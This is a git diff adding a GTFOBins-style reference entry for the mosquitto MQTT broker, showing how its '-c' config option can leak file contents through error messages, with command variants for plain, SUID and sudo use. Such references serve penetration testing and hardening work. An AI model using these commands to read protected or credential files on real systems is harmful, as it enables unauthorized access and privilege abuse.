diff --git a/_gtfobins/mosquitto.md b/_gtfobins/mosquitto.md new file mode 100644 index 0000000..417296d --- /dev/null +++ b/_gtfobins/mosquitto.md @@ -0,0 +1,16 @@ +--- +description: The file is actually parsed and the first wrong line (ending with a newline or a null character) is returned in an error message, thus it may not be suitable for reading arbitrary files +functions: + file-read: + - code: | + LFILE=file_to_read + mosquitto -c "$LFILE" + suid: + - code: | + LFILE=file_to_read + ./mosquitto -c "$LFILE" + sudo: + - code: | + LFILE=file_to_read + sudo mosquitto -c "$LFILE" +---